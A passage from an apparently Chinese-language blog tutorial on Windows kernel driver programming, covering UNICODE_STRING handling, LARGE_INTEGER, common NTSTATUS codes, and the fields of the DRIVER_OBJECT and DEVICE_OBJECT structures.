指向的是字符串常量区,不可修改*/ RtlAppendUnicodeToString(&uStr1, &uStr2); DbgPrint("uStr1 = %wZ\n", &uStr1); //失败 RtlAppendUnicodeStringToString(&uStr1, L"World"); DbgPrint("uStr1 = %wZ\n", &uStr1); //失败LARGE_INTEGER这个结构就像它的名字一样,用来表示一个比较大的整数,它的定义如下:typedef union _LARGE_INTEGER { struct { DWORD LowPart; LONG HighPart; }; struct { DWORD LowPart; LONG HighPart; } u; LONGLONG QuadPart; } LARGE_INTEGER, *PLARGE_INTEGER;这是一个公用体,可以认为它是由两部分组成高32位的HighPart和低32位的LowPart,它分了高位优先和低位优先两种情况,也可以认为它是一个64位的整形。在使用时根据需求来决定NTSTATUS绝大多数驱动函数都返回这个值,用来表示当前处理的状态,一般STATUS_SUCCESS表示成功,其余的都表示失败。微软根据不同情况定义了它的状态值,一般常用的有下面几个值含义STATUS_SUCCESS函数执行成功STATUS_UNSUCCESSFUL函数执行不成功STATUS_NOT_IMPLEMENTED函数违背实现STATUS_INVALID_INFO_CLASS输入参数是无效的类别STATUS_ACCESS_VIOLATION不允许访问STATUS_IN_PAGE_ERROR发生页面故障STATUS_INVALID_HANDLE输入的是无效的句柄STATUS_INVALID_PARAMETER输入的是无效的参数STATUS_NO_SUCH_DEVICE指定的设备不存在STATUS_NO_SUCH_FILE指定的文件不存在STATUS_INVALID_DEVICE_REQUEST无效的设备请求STATUS_END_OF_FILE文件已到结尾STATUS_INVALID_SYSTEM_SERVICE无效的系统调用STATUS_ACCESS_DENIED访问被拒绝STATUS_BUFFER_TOO_SMALL输入的缓冲区过小STATUS_OBJECT_TYPE_MISMATCH输入的对象类型不匹配STATUS_OBJECT_NAME_INVALIE输入的对象名无效STATUS_OBJECT_NAME_NOT_FOUND输入的对象没有找到STATUS_PORT_DISCONNNECTED需要连接的端口没有被连接STATUS_OBJECT_PATH_INVALID输入的对象路径无效另外在使用WinDbg进行调试的时候,一般都会得到函数调用的错误码,根据错误码可以找到对应的错误信息,微软提供了一种解决方案:LPVOID lpMessageBuffer; HMODULE Hand = LoadLibrary(_T("NTDLL.DLL")); DWORD dwErrCode = 0; //获取错误码 FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_FROM_HMODULE, Hand, dwErrCode, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &lpMessageBuffer, 0, NULL ); // Now display the string. // Free the buffer allocated by the system. LocalFree( lpMessageBuffer ); FreeLibrary(Hand);驱动对象驱动程序的入口函数是DriverEntry,函数会传入一个驱动对象的指针——PDRIVER_OBJECT,每个驱动都有一个唯一的驱动对象,就好像每个Win32应用程序有一个唯一的实例句柄。它的定义如下:typedef struct _DRIVER_OBJECT { CSHORT Type; CSHORT Size; PDEVICE_OBJECT DeviceObject; ULONG Flags; PVOID DriverStart; ULONG DriverSize; PVOID DriverSection; PDRIVER_EXTENSION DriverExtension; UNICODE_STRING DriverName; PUNICODE_STRING HardwareDatabase; PFAST_IO_DISPATCH FastIoDispatch; PDRIVER_INITIALIZE DriverInit; PDRIVER_STARTIO DriverStartIo; PDRIVER_UNLOAD DriverUnload; PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1]; } DRIVER_OBJECT;下面主要对几个重要的部分做介绍:DeviceObject:保存的是驱动中设备对象的指针,另外每个设备对象又有一个指向下一个设备对象的指针,这样同一个驱动程序中的不同设备对象就构成了一个链表DriverName:这个里面存储的是驱动程序的名称,该字符串一般为“\Driver\驱动名称”HardwareDatabase:这里记录的是设备的硬件数据库键名,这个数据库一般是注册表,字符串一般为“REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM”DriverStartIo:记录StartIo这个例程回调函数的地址DriverUnload:当驱动卸载时会调用这个指针所指向的函数MajorFunction,这是一个回调函数的指针数组,处理IRP包的不同请求,就好像应用层里面的消息处理函数,根据不同的请求,调用不同的函数。设备对象在windows平台将每个设备抽象为一个设备对象,驱动层一般通过设备对象来操作具体的设备,每个驱动可以有多个设备对象。typedef struct DECLSPEC_ALIGN(MEMORY_ALLOCATION_ALIGNMENT) _DEVICE_OBJECT { ... struct _DRIVER_OBJECT *DriverObject; struct _DEVICE_OBJECT *NextDevice; struct _DEVICE_OBJECT *AttachedDevice; struct _IRP *CurrentIrp; ULONG Flags; PVOID DeviceExtension; DEVICE_TYPE DeviceType; CCHAR StackSize; ... } DEVICE_OBJECT;设备对象本身定义是十分复杂的,在这我们只列举出部分,以后写程序会经常使用的部分,下面是对这些部分的说明:DriverObject: 指向所属驱动的驱动对象的指针NextDevice:指向下一个设备驱动的指针AttachedDevice:指向它被附加的驱动的指针,设备对象之上还可以在附加上其他的设备对象,这样每当有消息传来时总会由附加在它之上的设备对象处理,然后才会交由它自身处理,这个指针就是指向附加在它之上的设备对象的指针CurrentIrp:指向当前IRP域的指针Flags:表名该设备的一些标志信息,主要有下面几个值:标志描述DO_BUFFERED_IO读写使用缓冲方式,内核层在使用用户缓冲区时会将用户分区中的数据拷贝到内核分区中DO_EXCLUSIVE一次只允许一个线程使用这个设备对象DO_DIRECT_IO读写直接方式,应用层将某块内存锁定在内存,然后将内存映射到内核空间中,这种方式是最快的方式DO_DEVICE_INITIALIZING设备正在初始化DO_POWER_PAGABLE设备必须在PASSIVE_LEVEL上处理IRP_MJ_PNP请求DO_POWER_INRUSH设备上电期间需要大电流DeviceExtension:指向一块扩展的内存,系统允许用户在创建设备对象时自定义一块区域用来保存结构体中没有但是用户自己感兴趣的内容。在驱动程序中需要尽量避免使用全局变量,所以可以通过使用这块扩展内存来传输全局变量DeviceType:驱动的类型,主要有下面几个值设备类型描述FILE_DEVICE_BEEP该设备是一个蜂鸣器FILE_DEVICE_CD_ROM该设备时一个CD光驱FILE_DEVICE_CD_ROM_FILE_SYSTEMCD光驱文件系统设备FILE_DEVICE_CONTROLLER控制器设备FILE_DEVICE_DATALINK数据链设备FILE_DEVICE_DFSDFS设备对象FILE_DEVICE_DISK磁盘设备对象FILE_DEVICE_DISK_FILE_SYSTEM磁盘文件系统设备对象FILE_DEVICE_FILE_SYSTEM文件系统设备对象FILE_DEVICE_INPORT_PORT输入端口设备对象FILE_DEVICE_KEYBOARD键盘设备对象FILE_DEVICE_MAILSLOT邮件曹设备对象FILE_DEVICE_MIDI_INMIDI输入设备对象FILE_DEVICE_MIDI_OUTMIDI输出设备对象FILE_DEVICE_MOUSE鼠标设备对象FILE_DEVICE_MULTI_UNC_PROVIDER多UNC设备对象FILE_DEVICE_NAMED_PIPE命名管道设备对象FILE_DEVICE_NETWORK网络设备对象FILE_DEVICE_NETWORK_BROWSER网络浏览器设备对象FILE_DEVICE_NETWORK_FILE_SYSTEM网络文件系统设备对象FILE_DEVICE_NULL空设备对象FILE_DEVICE_PARALLEL_PORT并口设备对象FILE_DEVICE_PHYSICAL_NETCARD物理网卡设备对象FILE_DEVICE_PRINTER打印机设备对象FILE_DEVICE_SCANNER扫描仪设备对象FILE_DEVICE_SERIAL_MOUSE_PORT串口鼠标设备对象LE_DEVICE_SERIAL_PORT串口设备对象FILE_DEVICE_SCREEN屏幕设备对象FILE_DEVICE_SOUND声音设备对象FILE_DEVICE_STREAMS流设备对象LE_DEVICE_TAPE磁带设备对象FILE_DEVICE_TAPE_FILE_SYSTEM磁带文件系统设备对象FILE_DEVICE_TRANSPORT传输设备对象FILE_DEVICE_UNKNOWN未知设备对象FILE_DEVICE_VIDEO视频设备对象FILE_DEVICE_VIRTUAL_DISK虚拟磁盘设备对象FILE_DEVICE_WAVE_IN声音输入设备对象FILE_DEVICE_WAVE_OUT声音输出设备对象在创建设备对象时如果不知道这个设备对象是何种类型,可以直接给FILE_DEVICE_UNKNOWN;StackSize:之前说到过,设备对象存在附加的情况,附加时每个设备对象会存储它上层的设备对象的指针,这样就形成了类似堆栈的结构,而这个值就表示从该设备对象到栈底还有多少个设备对象为了便于理解我们做了这样一个示意图:
2016年09月24日
12 阅读
0 评论
0 点赞
1
...
31
32
33
...
37